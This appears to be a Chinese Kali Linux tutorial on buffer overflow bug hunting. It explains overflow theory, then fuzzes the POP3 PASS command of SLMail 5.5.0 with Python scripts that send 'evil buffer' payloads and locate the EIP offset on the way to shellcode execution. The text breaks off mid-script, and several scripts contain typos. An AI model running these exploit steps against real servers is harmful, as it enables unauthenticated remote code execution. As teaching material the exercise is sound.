Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出
程序漏洞从哪里来?
- 罪恶的根源:变量
- 数据与代码边界不清(注入攻击)
- 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没做检查导致)
缓冲区溢出
- 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被"称暴",从而覆盖了相邻内存区域的数据
- 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务控制权等后果’
如何发现漏洞?
- 源码审计
- 逆向工程
- 模糊测试
- 向程序堆栈半随机的数据,根据内存变化判断溢出
- 数据生成器,生成随机,半随机数据
- 测试工具,识别溢出漏洞(动态调试工具:IDA,OD)
Windows系统缓冲区溢出
- FUZZING(模糊测试)
- 准备环境
- SLMail 5.5.0 Mail Server
- immunityDebugger_1_85_setup.exe
- mona.py
- POP3 PASS 命令存在缓冲区溢出漏洞
- 无需身份验证实现远程代码执行
- windows防护机制
- DEP:阻止代码从数据页被执行(软硬件实现)
- ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
- 准备环境
- POP3
- NC 110 端口
- 了解未知协议
- Wireshark
- RFC
- 01.py
#!/bin/python import socket s=socket(socket.AF_INET,socket.SOCK_STREM) try: print "\nSending evil buffer..." s.connect(('1.1.1.1',110)) data=s.recv(1024) print data s.send('USER xxx'+'\r\n') data=s.recv(1024) print data s.send('PASS test\r\n') data=s.recv(1024) print data s.close() print "\nDone!" except: print "Could not connext to POP3!"
- FUZZING(way 1)
- 测试PASS 命令收到大量数据时是否发生溢出
- EIP寄存器存放下一条指令的地址
- 02.py
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer)<=50: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('1.1.1.1.1',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.send('PASS'+string+'\r\n') s.send('QUIT\r\n') s.close()
- FUZZING(way 2)
- 2700个字符实现EIP溢出
- 03.py
import socket s=soket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer='A'*2600(不断改变数字) try: print "\nSending evil buffer..." s.connect(('1.1.1.1',110)) data=s.recv(1024) s.send('PASS'+buffer+'\r\n') print '\nDone!' except: print "Could not connect to POP3!"
- 找到精确溢出的4个字节
- 思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,并跳转到shellcode代码段执行
- 寻找可存放的内存地址空间
- 06.py
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer="A"*2606+"B"*4+C*(3500-2606-4) # 假设EXP寄存器最大可存放3500个字符 try: print "\nSending ing evi